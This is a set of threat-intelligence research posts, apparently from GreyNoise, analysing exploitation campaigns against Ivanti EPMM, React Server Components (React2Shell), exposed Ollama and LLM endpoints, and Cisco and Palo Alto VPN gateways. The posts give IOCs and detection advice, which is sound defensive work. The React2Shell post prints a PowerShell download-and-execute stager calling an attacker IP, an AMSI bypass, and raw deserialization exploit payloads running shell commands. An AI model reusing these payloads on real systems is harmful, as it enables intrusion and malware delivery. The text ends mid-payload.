The IP rotates through 300+ unique user agent strings spanning Chrome, Firefox, Safari, and multiple operating system variants. This fingerprint diversity, combined with concurrent exploitation of four unrelated software products, is consistent with automated tooling.

For additional context: Trustwave SpiderLabs has previously documented connections between PROSPERO and the Proton66 network (AS198953), linking both to bulletproof hosting services marketed on Russian-language cybercrime forums under the BEARHOST brand. That network has been associated with distribution infrastructure for GootLoader, SpyNote, and other malware families. This does not confirm attribution of the Ivanti campaign to any specific threat actor, but it places the dominant exploitation source on infrastructure with a documented history of hosting malicious operations.

‍

85% of Exploitation Uses Blind RCE Verification

‍

Of 417 exploitation sessions, 354 (85%) triggered GreyNoise’s out-of-band application security testing (OAST) interaction domain detection. The payloads instruct the target to generate a DNS callback to a unique subdomain, a technique that confirms command execution without requiring a direct response back to the attacker.

Because GreyNoise can observe not just that exploitation was attempted, but what the payload does when it runs, we see a clear pattern. In this case, 85% of payloads do one thing: phone home via DNS to confirm "this target is exploitable." They do not deploy malware. They do not exfiltrate data. They verify access.

That pattern is significant. OAST callbacks indicate the campaign is cataloging which targets are vulnerable rather than deploying payloads immediately. This is consistent with initial access operations that verify exploitability first and deploy follow-on tooling later.

‍

What Happens After: The 403.jsp Sleeper Shells

External research corroborates this interpretation. On February 9, Defused Cyber reported a campaign deploying dormant in-memory Java class loaders to compromised EPMM instances at the path /mifs/403.jsp. The implants require a specific trigger parameter to activate, and no follow-on exploitation was observed at the time of their report. Defused Cyber assessed this as consistent with initial access broker tradecraft: establish a foothold, then sell or hand off access later.

The GreyNoise OAST data and the Defused Cyber findings point in the same direction. The exploitation GreyNoise observes is focused on cataloging and staging access, not on immediate deployment. For defenders, this means compromised systems may appear unaffected right now. The sleeper shells are designed to wait.

Note: The OAST patterns described above reflect what GreyNoise sensors observed. The Defused Cyber findings describe activity on production systems. Both datasets point in the same direction but represent different vantage points on the campaign.

‍

Published IOCs in GreyNoise Data

Several widely published IOCs for this campaign do not appear in Ivanti EPMM exploitation attempts observed by GreyNoise sensors. GreyNoise does observe activity from these IPs, but targeting different vulnerabilities entirely.

‍

Windscribe VPN Exit Nodes (185[.]212[.]171[.]0/24)

Four published IOC IPs (.151, .156, .137, .134) sit in a /24 block on M247 infrastructure (AS9009) in Amsterdam. Censys shows this block contains 95 hosts: a dense cluster of commercial VPN exit nodes, including Windscribe IKE endpoints with certificates carrying anti-censorship domain names.

In GreyNoise data, 99% of this subnet’s traffic targets Oracle WebLogic on TCP port 7001. It does not target Ivanti EPMM.

Metric	Value
Subnet sessions (30 days)	29,588
Dominant target	TCP/7001 (Oracle WebLogic)
Ivanti EPMM CVE-2026-1281 sessions	0
GreyNoise tags fired across /24	1 (Generic Path Traversal Attempt)

‍

All four IOC IPs appear to be “dark” exit nodes: Censys detects zero inbound services on any of them. They exist to funnel outbound VPN traffic. Two of the four (.137, .134) have zero sessions in GreyNoise over the past 30 days.

This matters because these are shared VPN exits used by many subscribers for many purposes. The WebLogic scanning GreyNoise observes from this range may originate from a different VPN user than the Ivanti-related activity that prompted the original IOC listing. Blocking these IPs is a defensible decision, but defenders should understand that these indicators carry higher false-positive risk than dedicated exploitation infrastructure.

Separately, on February 5, Dutch authorities seized a Windscribe VPN server in the Netherlands as part of an undisclosed investigation. Windscribe disclosed the seizure, noting that its RAM-only (diskless) server architecture means no user data would be recoverable. No public reporting has linked the seizure to the Ivanti EPMM campaign.

‍

A Compromised Residential Router (151[.]177[.]78[.]0)

One published IOC IP has never appeared in GreyNoise telemetry. Censys identifies 151[.]177[.]78[.]0 as an ASUS router on Tele2 residential broadband in Gothenburg, Sweden, running outdated firmware with an exposed cloud management interface and a factory-default certificate.

Its absence from GreyNoise data is itself informative. GreyNoise operates 5,000+ sensors across 80+ countries that observe internet-wide scanning and exploitation. An IP conducting broad exploitation would almost certainly appear. Zero sessions suggest this IP was used exclusively for targeted activity directed at specific systems, consistent with compromised residential infrastructure being used as an exit proxy.

For defenders who implemented the published IOCs: if you blocked the Windscribe VPN range (185[.]212[.]171[.]0/24) but not AS200593 (PROSPERO), your defenses may have addressed secondary infrastructure while missing the primary exploitation source in GreyNoise telemetry.

‍

Strategic Implications

IOC-based defenses face a fundamental confidence problem in this campaign. Published indicators ranged from shared VPN infrastructure (low confidence, high false-positive risk) to bulletproof hosting with concentrated exploitation activity (high confidence, low collateral). Organizations applying uniform blocklist policies to all published IOCs are either over-blocking legitimate traffic or under-blocking actual threats. The 83% concentration on a single PROSPERO-hosted IP, while published IOCs showed zero overlap with GreyNoise exploitation data, demonstrates that post-incident IOC sharing can miss the infrastructure actually used at volume. Defenders benefit from a confidence-scoring framework for IOCs that accounts for infrastructure type, observed behavior concentration, and temporal proximity to the vulnerability window.

The OAST callback pattern and the Defused Cyber sleeper shell findings together suggest that initial exploitation is only the first phase. If this campaign follows the initial access broker model, compromised EPMM instances may not show obvious signs of abuse for weeks or months. Organizations that patched quickly but did not investigate for prior compromise during the exposure window may have dormant implants in their environment. The absence of visible post-exploitation activity is not evidence of safety.

Mobile device management platforms represent a target class with compounding risk. EPMM compromise provides access to device management infrastructure for entire organizations, creating a lateral movement platform that bypasses traditional network segmentation. Organizations running MDM platforms should treat these systems with the same criticality as domain controllers or identity providers, including network isolation, aggressive patch cycles, and monitoring for unauthorized configuration changes or device enrollments.

The exploitation timeline has compressed below the threshold of conventional patch management. Same-day government compromise and a 72-hour gap to widespread scanning leaves no buffer for "patch this weekend" strategies. Organizations with internet-facing MDM, VPN concentrators, or other remote access infrastructure should operate under the assumption that critical vulnerabilities face exploitation within hours of disclosure.

‍

Recommendations

For Security Leadership:

Audit whether Ivanti EPMM and other MDM infrastructure is directly internet-facing. MDM platforms manage entire device fleets; their compromise exposure is disproportionate to a single server. Consider placing MDM behind VPN or zero-trust network access.
Evaluate your IOC ingestion workflow. Are indicators enriched with infrastructure context before being added to blocklists? The difference between a bulletproof hosting IP and a shared VPN exit node is the difference between a high-confidence block and a potential false positive.
If your EPMM instance was internet-facing and unpatched between January 29 and your patch date, commission an investigation. The sleeper shell tradecraft observed in this campaign means compromise may not be visible through normal monitoring.

For Security Operations:

Block AS200593 (PROSPERO OOO) at the network perimeter. This autonomous system accounts for 83% of observed Ivanti EPMM exploitation and carries a Censys BULLETPROOF designation. GreyNoise dynamic blocklists can help maintain coverage as exploitation infrastructure shifts.
Review DNS logs for OAST-pattern callbacks: unique, high-entropy subdomains resolving to known OAST interaction infrastructure. These indicate that exploitation payloads executed on your systems.
Monitor for the /mifs/403.jsp path on EPMM instances. This is the sleeper shell location identified by Defused Cyber. Its presence indicates compromise even if no further malicious activity is visible.
Consider restarting EPMM application servers to clear in-memory implants that may have been staged. In-memory class loaders do not survive a process restart.

For Ivanti EPMM Administrators:

Apply patches for CVE-2026-1281 and CVE-2026-1340 immediately. Exploitation is active and accelerating.
If your instance was unpatched and internet-facing at any point between January 29 and your patch date, investigate for indicators of compromise: unexpected files at /mifs/403.jsp, anomalous outbound DNS activity, unfamiliar Java processes, and any evidence of unauthorized administrative actions on managed devices.
Review whether EPMM needs to accept connections from the open internet. Where architecturally feasible, restrict access to known network ranges or require VPN authentication before reaching the EPMM interface.

‍

View real-time exploitation data: Ivanti Endpoint Manager Mobile Code Injection CVE-2026-1281 RCE Attempt

Full fingerprint analysis and session-level exploitation data available to GreyNoise customers.

GreyNoise Research

Feb 10, 2026

React Server Components Exploitation Consolidates as Two IPs Generate Majority of Attack Traffic

For GreyNoise Customers: A comprehensive IOC package with extended infrastructure, network fingerprints, and connected domains was sent directly to customers via email.

Two months after CVE-2025-55182 was disclosed on December 3, 2025, exploitation activity targeting React Server Components has consolidated significantly. GreyNoise telemetry from the past seven days shows that two IP addresses now account for 56% of all observed exploitation attempts, down from 1,083 unique sources.

The dominant sources deploy distinct post-exploitation payloads: one retrieves cryptomining binaries from staging servers, while the other opens reverse shells directly to the scanner IP. Whether this represents two separate actors or compartmentalized infrastructure from a single actor remains unclear, but the behavioral distinction is notable.

‍

Why This Matters

CVE-2025-55182 is a CVSS 10.0 pre-authentication remote code execution vulnerability with a public Metasploit module. Exploitation requires only a single HTTP POST request. The payloads GreyNoise observed on its sensors are not reconnaissance scans but active exploitation attempts deploying cryptominers and reverse shells. Organizations running unpatched React Server Components should assume they have been targeted.

‍

Key Findings

Two IPs generated 56% of exploitation traffic over the past seven days (January 26 to February 2, 2026)
193.142.147[.]209 accounted for 488,342 sessions (34%)
87.121.84[.]24 accounted for 311,484 sessions (22%)
1,083 unique source IPs observed during this period
Post-exploitation payloads include XMRig cryptominers and reverse shells on port 12323

‍

Exploitation Activity

GreyNoise sensors recorded 1,419,718 exploitation attempts targeting CVE-2025-55182 over the seven-day observation period. The following table summarizes the dominant sources:

Source IP	Sessions	Share	Post-Exploitation
193.142.147[.]209	488,342	34%	Reverse shell (port 12323)
87.121.84[.]24	311,484	22%	XMRig cryptominer

‍

The remaining 44% of traffic was distributed across 1,081 other source IPs.

‍

Post-Exploitation Behavior

The two dominant sources exhibit different post-exploitation patterns, suggesting different operational objectives.

‍Cryptomining operation (87.121.84[.]24): Successful exploitation triggers retrieval of an XMRig binary from staging servers at 205.185.127[.]97 and 176.65.132[.]224. GreyNoise captured both the dropper script and ELF binary on vulnerable honeypots. Both staging servers serve identical payloads.

‍Reverse shell operation (193.142.147[.]209): Successful exploitation opens a reverse shell directly to the scanner IP on port 12323 without using a staging server. This approach suggests interest in interactive access rather than automated resource extraction.

JA4H fingerprint analysis confirms different HTTP client implementations between the two sources. Full fingerprint data is available to GreyNoise customers.

‍

Infrastructure Analysis

Pivoting on the cryptomining staging server revealed infrastructure with extended history. The primary staging server (205.185.127[.]97) has hosted attacker-controlled domains since at least 2020 according to SSL certificate records:

September 2020: mased[.]top subdomains
November 2021: mercarios[.]buzz
January 2022: bt2.radiology[.]link

WHOIS records show shared registrant information across these domains, with registration dates extending back to 2018.

Adjacent IP addresses in the same /24 as the scanner (87.121.84[.]25 and 87.121.84[.]45) are currently serving Mirai and Gafgyt variants targeting MIPS and ARM architectures, along with exploit scripts for consumer routers and DVRs.

‍

Vulnerability Background

CVE-2025-55182 was disclosed on December 3, 2025 and affects React Server Components. The vulnerability carries a CVSS score of 10.0. The flaw exists in how serialized data is processed, allowing an attacker to send a malicious POST request that the server deserializes and executes without authentication or user interaction.

A Metasploit module was published shortly after disclosure, contributing to rapid exploitation uptake. GreyNoise first observed exploitation attempts on December 5, 2025.

Affected versions: React 19.0.0, 19.1.0 through 19.1.1, 19.2.0

Patched versions: React 19.0.1, 19.1.2, 19.2.1

‍

Targeting Patterns

Port distribution indicates focus on development infrastructure:

Port	Sessions	Common Use
443	417,546	HTTPS
80	357,018	HTTP
3000	282,803	Default React development server
3001	99,248	Alternative development port
3002	66,771	Alternative development port
8080	47,018	Development and proxy servers

‍

React development servers configured with --host 0.0.0.0 for network accessibility are particularly exposed when internet-facing.

‍

Recommendations

Patch immediately. Upgrade to React 19.0.1, 19.1.2, or 19.2.1. If immediate patching is not possible, disable React Server Components.

Block known infrastructure. Add the following IPs to blocklists:

193.142.147[.]209
87.121.84[.]24
205.185.127[.]97
176.65.132[.]224

Hunt for historical connections. Review network logs for connections to these IPs since early December 2025.

Audit development infrastructure. Verify that React development servers are not exposed to the internet. The --host 0.0.0.0 flag should only be used on isolated networks.

Monitor for indicators. Watch for POST requests containing unusual Next-Action headers in web server logs.

‍

VIEW REAL-TIME DATA

‍

Additional IOCs including network fingerprints and HTTP signatures are available to GreyNoise customers.

‍

GreyNoise Research

Feb 2, 2026

Threat Actors Actively Targeting LLMs

Our Ollama honeypot infrastructure captured 91,403 attack sessions between October 2025 and January 2026. Buried in that data: two distinct campaigns that reveal how threat actors are systematically mapping the expanding surface area of AI deployments.

GreyNoise customers have received an Executive Situation Report (SITREP) including IOCs and other valuable intelligence from this investigation. Customers, please check your inbox.

‍

This corroborates and extends Defused’s findings.

The SSRF campaign: Forcing your servers to phone home

The first campaign exploited server-side request forgery vulnerabilities—tricks that force your server to make outbound connections to attacker-controlled infrastructure.

Attackers targeted two vectors:

Ollama's model pull functionality: Injecting malicious registry URLs that force servers to make HTTP requests to attacker infrastructure
Twilio SMS webhook integrations: Manipulating MediaUrl parameters to trigger outbound connections (we’re including this since they co-occurred with the Ollama targeting)

The campaign ran from October 2025 through January 2026, with a dramatic spike over Christmas—1,688 sessions in 48 hours. Attackers used ProjectDiscovery's OAST (Out-of-band Application Security Testing) infrastructure to confirm successful SSRF exploitation via callback validation.

Fingerprinting revealed the operation's structure. A single JA4H signature (po11nn060000…) appeared in 99% of attacks, pointing to shared automation tooling—likely Nuclei. The 62 source IPs spread across 27 countries, but consistent fingerprints indicate VPS-based infrastructure, not a botnet.

Assessment: Probably security researchers or bug bounty hunters. OAST callbacks are standard vulnerability research techniques. But the scale and Christmas timing suggest grey-hat operations pushing boundaries.

‍

The enumeration campaign: Building the target list

This is the one that should concern you.

Starting December 28, 2025, two IPs launched a methodical probe of 73+ LLM model endpoints. In eleven days, they generated 80,469 sessions—systematic reconnaissance hunting for misconfigured proxy servers that might leak access to commercial APIs.

The attack tested both OpenAI-compatible API formats and Google Gemini formats. Every major model family appeared in the probe list:

OpenAI (GPT-4o and variants)
Anthropic (Claude Sonnet, Opus, Haiku)
Meta (Llama 3.x)
DeepSeek (DeepSeek-R1)
Google (Gemini)
Mistral
Alibaba (Qwen)
xAI (Grok)

Test queries stayed deliberately innocuous with the likely goal to fingerprint which model actually responds without triggering security alerts.

Prompt	Occurrences
hi	32,716
How many states are there in the United States?	27,778
How many states are there in the United States? What is todays date? What model are you?	17,979
(empty string)	8,073
How many letter r are in the word strawberry?	2,024

‍

The infrastructure behind this campaign tells us who we're dealing with:

45.88.186.70 (AS210558, 1337 Services GmbH): 49,955 sessions 204.76.203.125 (AS51396, Pfcloud UG): 30,514 sessions.

Both IPs appear extensively in GreyNoise data with histories of CVE exploitation: CVE-2025-55182 (React2Shell), CVE-2023-1389, and over 200 other vulnerabilities. Combined observations exceed 4 million sensor hits.

Assessment: Professional threat actor conducting reconnaissance. The infrastructure overlap with established CVE scanning operations suggests this enumeration feeds into a larger exploitation pipeline. They're building target lists.

‍

What to block

Network fingerprints

Type	Value	Identifies
JA4H	po11nn060000...	SSRF campaign tooling
JA4T	64240...	WSL Ubuntu 22.04 systems
JA4T	65495...	Jumbo MTU (VPN/tunnel)

‍

OAST callback domains

Block these TLD patterns (580 unique domains observed):

*.oast.live
*.oast.me
*.oast.online
*.oast.pro
*.oast.fun
*.oast.site
*.oast.today

‍

IP addresses

SSRF campaign (top 3):

134.122.136.119, 134.122.136.96 (AS152194, Japan)
112.134.208.214 (AS9329, Sri Lanka)
146.70.124.188, 146.70.124.165 (AS9009, Romania)

LLM enumeration campaign:

45.88.186.70 (AS210558, United States)
204.76.203.125 (AS51396, Netherlands)

‍

Defend your LLM infrastructure

Lock down model pulls. Configure Ollama to accept models only from trusted registries. Egress filtering prevents SSRF callbacks from reaching attacker infrastructure.
Detect enumeration patterns. Alert on rapid-fire requests hitting multiple model endpoints. Watch for the fingerprinting queries: "How many states are there in the United States?" and "How many letter r..."
Block OAST at DNS. Cut off the callback channel that confirms successful exploitation.
Rate-limit suspicious ASNs. AS152194, AS210558, and AS51396 all appeared prominently in attack traffic.
Monitor JA4 fingerprints. The signatures we identified will catch this tooling—and similar automation—targeting your infrastructure.

‍

Eighty thousand enumeration requests represent investment. Threat actors don't map infrastructure at this scale without plans to use that map. If you're running exposed LLM endpoints, you're likely already on someone's list.

BLOCK IPS WITH GREYNOISE BLOCK

Jan 8, 2026

Coordinated Credential-Based Campaign Targets Cisco and Palo Alto Networks VPN Gateways

GreyNoise is tracking a coordinated, automated credential-based campaign targeting enterprise VPN authentication infrastructure, with activity observed against Cisco SSL VPN and Palo Alto Networks GlobalProtect services over a two-day period in mid-December.

The activity reflects large-scale scripted login attempts, not vulnerability exploitation. Consistent infrastructure usage and timing indicate a single campaign pivoting across multiple VPN platforms.

GreyNoise has not observed evidence linking this activity to the campaign reported by Cisco Talos targeting Cisco Secure Email Gateway and Secure Email and Web Manager.

‍

Palo Alto Networks GlobalProtect Activity

GreyNoise observed a large, session-heavy spike in automated login attempts targeting Palo Alto Networks GlobalProtect portals. The activity generated approximately 1.7 million sessions over a 16-hour period and was directed at GreyNoise’s emulated GlobalProtect and PAN-OS profiles.

More than 10,000 unique IPs attempted to log into GlobalProtect portals on 11 December.

‍

BLOCK SUSPICIOUS IPS

‍

‍

The activity targeted GlobalProtect portals geolocated primarily in the United States, Pakistan, and Mexico. Traffic originated almost exclusively from IP space associated with the hosting provider 3xK GmbH (Germany), indicating centralized, cloud-hosted infrastructure rather than distributed end-user behavior.

‍

‍

Observed Behavior

Login attempts followed a uniform request pattern and reused common username and password combinations. Most observed requests carried the same browser-like Firefox user agent, which is atypical for automated login activity originating from this provider.

‍

‍

The consistency of the user agent, request structure, and timing suggests scripted credential probing designed to identify exposed or weakly protected GlobalProtect portals, rather than interactive access attempts or vulnerability exploitation.

This activity reflects continued pressure against enterprise VPN authentication endpoints, a pattern GreyNoise has observed repeatedly during periods of heightened attacker activity. The behavior is notable due to the sharp rise in traffic in a short period of time, potentially reflecting the initiation of a new automated campaign or an attempt to inventory exposed GlobalProtect instances at scale.

‍

Cisco SSL VPN Activity Follows

On 12 December, GreyNoise observed a sharp surge in opportunistic bruteforce login attempts targeting Cisco SSL VPN endpoints. Daily unique attacking IPs rose from a typical baseline of fewer than 200 to 1,273 IPS, representing a significant deviation from normal activity. The majority of this traffic targeted GreyNoise’s facade sensors — vendor-agnostic systems listening on many ports and thereby implying opportunistic instead of targeted activity.

‍

BLOCK MALICIOUS IPS

‍

‍

Analysis shows this activity is infrastructure- and tooling-linked to the Palo Alto GlobalProtect login attempts observed earlier in the week. Cisco SSL VPN traffic shares the same TCP fingerprint (GreyNoise customers, please check inbox for intel brief revealing the full signature) and originates from 3xK GmbH IP space — the same hosting provider leveraged to drive the Palo Alto login wave.

‍

‍

The dominant user agent across Cisco SSL VPN attempts was:

Mozilla/5.0 (Windows NT 10.0; Win64; x64)

This user agent is atypical for Cisco SSL VPN bruteforce activity sourced from 3xK infrastructure and marks the first time in the past 12 weeks that 3xK-hosted IPs have been deployed at scale against Cisco SSL VPN portals.

Observed request bodies indicate automated credential-based authentication attempts rather than vulnerability exploitation. Example payloads follow standard SSL VPN login workflows, including CSRF token handling and parameterized username/password fields, consistent with scripted password spraying or credential stuffing.

‍

Recommended Actions

Security professionals can take meaningful steps to defend against this activity:

Password/MFA Hygiene: Ensure all systems are protected with strong passwords and multi-factor authentication (MFA).
Regular Edge Device Audits: Consistently audit Cisco and Palo Alto Networks appliances to assess whether or not login attempts are expected, or require escalation.

Additionally, GreyNoise platform customers should block all IPs above using our platform blocklists:

Non-GreyNoise customers can use the following GreyNoise Block templates to quickly and easily block threat IPs:

Palo Alto Networks Login Scanner
Cisco SSL VPN Bruteforcer Attacks

New users can try GreyNoise Block free for 14-days.

‍

GreyNoise will continue monitoring this activity and make updates as necessary.

‍

— — —

‍

^{Stone is Head of Content at GreyNoise Intelligence, where he leads strategic content programs that translate complex internet-scale threat activity into clear, actionable insights. Previously, he led partnered research initiatives with Google and the U.S. Department of Homeland Security, and was a member of the Council on Foreign Relations Young Professionals group. His background spans finance, technology, and engagement with the United Nations on global policy issues.}

‍

Noah Stone

Dec 17, 2025

CVE-2025-55182 (React2Shell) Opportunistic Exploitation In The Wild: What The GreyNoise Observation Grid Is Seeing So Far

React2Shell Update: 7 January 2026

The React2Shell campaign continues at a sustained, elevated pace. Since initial disclosure, the GreyNoise Observation Grid has recorded over 8.1 million attack sessions, with daily volumes stabilizing in the 300,000–400,000 range after peaking above 430,000 in late December.

‍

Over 8.1 million sessions (each session delivers an R2S payload) have been seen since the start.

‍

8,163 Total IPs Observed Across Production & Research Sensors

The infrastructure footprint has grown considerably. We now observe 8,163 unique source IPs across 1,071 ASNs spanning 101 countries. The geographic and network distribution confirms broad adoption of this exploit across diverse threat actor ecosystems.

‍

Source Country Breakdown

Fifteen countries account for approximately 80% of observed source IPs:

‍

Top ASNs

Cloud infrastructure dominates the source network distribution, with Amazon Web Services alone representing over a third of observed exploitation traffic. The top 15 ASNs comprise roughly 60% of all source IPs:

‍

Payload and Fingerprint Diversity

The campaign has produced over 70,000 unique payloads, indicating continued experimentation and iteration by attackers. Network fingerprint analysis reveals 700 unique JA4H hashes (HTTP client fingerprints) and 340 unique JA4T hashes (TCP stack fingerprints), reflecting the variety of tooling being deployed against vulnerable endpoints.

Defenders should continue blocking IPs associated with this tag via GreyNoise Block and monitor for the JA4H/JA4T fingerprints published in the supplemental data repository. Given the sustained volume and breadth of infrastructure—over 8,000 IPs across 1,000+ ASNs—static IP blocklists alone are insufficient; dynamic blocking based on GreyNoise's continuously updated threat feeds remains the most effective perimeter control. Organizations that have not yet patched should treat this as an active, ongoing campaign with no signs of abatement.

Complete lists of source ASNs, JA4T fingerprints, and JA4H fingerprints are available at: github.com/GreyNoise-Intelligence/gn-research-supplemental-data/tree/main/2026-01-06-react2shell

‍

Update: 9 December 2025

Due to the escalating situation, GreyNoise is sharing its weekly At The Edge intelligence brief — typically reserved for GreyNoise customers. In the brief you’ll find:

Full IOCs and TTPs
All threat signatures GreyNoise has observed so far
Actor tooling patterns and infrastructure characteristics
Clear, prioritized recommendations for response

And more intelligence regarding the React2Shell vulnerability (CVE-2025-55182).

‍

Update: 8 December 2025

‍

Ongoing Attack Patterns

Exploitation began rapidly after disclosure.
The number of IPs attempting exploitation has remained steady, inconsistent with early exploitation patterns for Log4j — an event industry professionals have compared to ongoing Next.js exploitation.

‍

‍

Attack Scale Overview

A total of 362 unique IP addresses (as of 2025‑12‑08) were observed attempting to exploit the React2Shell vulnerability.

Of these, 152 (≈ 42 %) contained active payload data that could be analyzed. The remaining 210 IPs either:

Connected but sent no payload data
Sent malformed or empty payloads
Had payload files that were empty

The attacks originated from a diverse set of geographic locations, spanning multiple countries and networks. This indicates that React2Shell has attracted attention from a wide range of threat actors, from automated botnets to more capable attackers.

‍

Attack Patterns

Based on the payload analysis of 97 active attack samples, attackers primarily used the following techniques:

Arithmetic Calculations – Execute simple math operations to test command execution
System Information Gathering – Run commands like uname -a, whoami, or hostname to gather system details
Reverse Shell / Downloader Scripts – Download and execute malicious scripts
SSH Persistence – Install SSH keys for persistent access
Remote Script Execution – Download and execute scripts from remote servers (often PowerShell‑encoded)
Directory Reconnaissance – Use commands like pwd to explore the file system
Cross‑platform Commands – Use both Unix (sh) and Windows (powershell) commands

‍

Fresh Infrastructure Highlights Importance of Dynamic IP Blocking

The vast majority of threat actor IPs allocated to exploiting this vulnerability were first seen by GreyNoise post July 2025.

‍

‍

We encourage defenders to leverage GreyNoise Block to instantly neutralize threat actor IPs attempting to exploit React2Shell. See below for more information.

GreyNoise customers — please check your inbox for an early edition of At the Edge, detailing all client signatures, source/destination analysis, and other IOCs.

‍

End of Updates

-----

‍

GreyNoise is already seeing opportunistic, largely automated exploitation attempts consistent with the newly disclosed React Server Components (RSC) “Flight” protocol RCE—often referred to publicly as “React2Shell” and tracked as CVE-2025-55182. Reporting to date describes unauthenticated remote code execution impacting React and downstream ecosystems (including Next.js) and urges immediate patching.

‍

Block IPs Linked to This Campaign

Defenders can use GreyNoise Block to immediately block malicious IPs associated with this activity by using the following template:

React Server Components Unsafe Deserialization CVE-2025-55182 RCE Attempt

Customers can also modify the template to specify source country, other IP classifications, etc. New users can get started with a 14-day free trial.

‍

Enterprise customers have targeted blocklists available in the platform (specifying ASNs, JA4, destination country, etc), supporting full queries leveraging the entirety of GreyNoise’s parameters.

BLOCK IPS WITH PLATFORM BLOCKLIST

‍

Our traffic shows a familiar modern pattern, with attackers using a mix of fresh and legacy infrastructure to orchestrate their campaigns. The HTTP client and TCP stack fingerprints are overwhelmingly automation-heavy, not organic browsing. There's also an early focus on just this vulnerability, but we've already detected a slow migration of this CVE being added to Mirai and other botnet exploitation kits.

The initial access attempts are using the publicly disclosed proof-of-concept code as a base, and stage-1 payloads performing proof-of-execution (PoE) probes (e.g., PowerShell arithmetic) to validate RCE cheaply and using coded PowerShell download-and-execute stagers (-enc + DownloadString + IEX).

Then, a stage-2 payload that uses reflection to set System.Management.Automation.AmsiUtils.amsiInitFailed = true (standard AMSI bypass), then iex executes the next stage.

‍

React2Shell quick refresher

Public reporting indicates a maximum-severity issue in React Server Components’ Flight protocol that can yield unauthenticated RCE in vulnerable deployments, with downstream impact across popular frameworks, including Next.js. Patches have been released, and multiple outlets are urging urgent upgrades.

This matters operationally because RSC is a high-value target since it sits in front of application logic that often runs with production permissions. Thanks to services such as BuiltWith/Wappalyzer, the exposed services are easy to find and exploit at scale. Early waves tend to be broad and shallow, featuring opportunistic scanning, validation payloads, and commodity post-exploitation stagers.

‍

What we are observing in the initial `POST` request:

Attackers are first performing basic exploit proof-of-execution (PoE) validation using "cheap math" PowerShell commands:

‍

powershell -c "40138*41979"
powershell -c "40320*43488"

‍

This is a common exploitation workflow since deterministic output confirms command execution and output retrieval ability. It also leaves minimal endpoint artifacts (no file writes, no network), and makes detection rules a bit trickier due to low unique keyword visibility versus obvious primitives like IEX, DownloadString, or -enc.

After PoE, we observed encoded PowerShell stagers in standard form:

‍

powershell -enc <base64>

‍

Decoding one of these reveals a run-of-the-mill in-memory downloader:

‍

IEX (New-Object System.Net.Webclient).DownloadString('http://23[.]235[.]188[.]3:652/qMqSb')

‍

The retrieved stage-2 payload uses a lightweight byte-transform obfuscation (reverse-byte order and add a constant repeatedly), then uses reflection to set:

Type: System.Management.Automation.AmsiUtils
Field: amsiInitFailed
Value: $true

in an attempt to bypass any anti-malware components that may be on the system.

This is an important campaign component because it’s stable across many commodity toolchains and can be detected reliably via PowerShell logging, even when the obfuscation changes.

‍

Traffic composition: automation dominates (so far)

From extracted POST requests, the top user agents were:

Go-http-client/1.1
A UA ending in Assetnote/1.0.0 on Chrome 60
Safari 17.2.1
Small volumes from aiohttp and python-requests, plus scattered “real browser” strings.

The presence of an Assetnote/1.0.0 marker is consistent with Assetnote-tagged scanning traffic documented in the ecosystem and built into the open-sourced scanner tool.

This is what standard early exploitation waves usually look like. We see a fair amount of automation, a mix of researcher/scanner traffic, and a small tail of organic-looking browser strings (often spoofed).

Across the JA4T+JA4H dataset collected so far, the distribution was highly concentrated in a handful of ASNs attributed to the Netherlands, China, the United States, Hong Kong, and a small tail of other countries.

These are the top JA4T/JA4H pairs, to-date:

42340_2-4-8-1-3_1460_11 + po11nn060000_3865ae1cc1d9_...
64240_2-1-3-1-1-4_1400_8 + po10nn090000_75eeec6218a0_...
42340_2-4-8-1-3_1460_11 + po11nn10enus_38148d6b7d75_...
42340_2-4-8-1-3_1460_10 + po11nn090000_3343762cd6d7_...

Source IP first/last-seen analysis shows a meaningful share of the observed exploitation IPs are newly observed in the recent window (nearly 50% being first seen in December 2025). This has become typical for modern opportunistic exploitation, with attackers leveraging the quick rotation of IPs in VPS and proxy pools.

‍

What makes this campaign “standard modern ops”

Nothing in this chain is novel, so far. The PoE commands are commodity exploitation hygiene, and the use of -enc + DownloadString + IEX is a staple pattern. Also, AmsiUtils.amsiInitFailed reflection bypass is widely documented and reused.

However, “not novel” ≠ “not serious.” This is exactly the kind of high-throughput exploitation that turns into credential theft, cryptomining, ransomware staging, or access-broker resale.

‍

Detection guidance (high-signal, low-regret)

Utilize GreyNoise's rapidly updated blocklists to prevent opportunistic IP addresses from compromising your perimeter.

If you can perform detection on endpoints, watch for process creation and encoded PowerShell + suspicious primitives.

Alert on powershell.exe / pwsh.exe combined with -enc / -EncodedCommand and DownloadString( or IEX.

If you have Windows Event ID 4104 enabled alert on any script block containing any two of:

System.Management.Automation.AmsiUtils
amsiInitFailed
GetField
NonPublic,Static
SetValue

If your detection platform supports it, aggregate detection on repeated powershell -c "<digits>*<digits>" across a short window, since it is a strong indicator of exploit validation.

Based on observed automation-heavy traffic (Go clients, scanner-tagged UAs, tight JA4 clustering) and rapid infrastructure build-up and churn, this looks like the first opportunistic wave, not a “hands-on-keyboard” intrusion set. Historically, this is when defenders can still win by ensuring patches are in place, putting high-quality endpoint detection in place, and using the provided network fingerprints to isolate potentially malicious inbound traffic requests.

‍

— — —

Top-level indicators

Candidate exploitation source infrastructure is available via GreyNoise API.

‍

‍

Stage-1 / Stage-2 fetch:

URL: http://23[.]235[.]188[.]3:652/qMqSb
Port: 652/tcp
Path: /qMqSb

PowerShell stager primitive:

IEX` (New-Object System.Net.Webclient).DownloadString('')
`powershell.exe -enc <base64>` (UTF-16LE encoded command)

Stage-2 defense evasion primitive (reflection AMSI flip):

Type: System.Management.Automation.AmsiUtils
Field: amsiInitFailed
Setter: .GetField(<field>,"NonPublic,Static").SetValue($null,$true)

Exploit validation / “proof of execution” probes:

powershell -c "<5-digit>*<5-digit>" (many unique pairs; deterministic output)

Unique payloads

[
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('curl 2f7ac6[.]ceye[.]io'); throw new Error('exploited');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "var res=process[.]mainModule[.]require('child_process').execSync('ping -c 7 45[.]157[.]233[.]80',{'timeout':8000}).toString().trim();;throw Object[.]assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
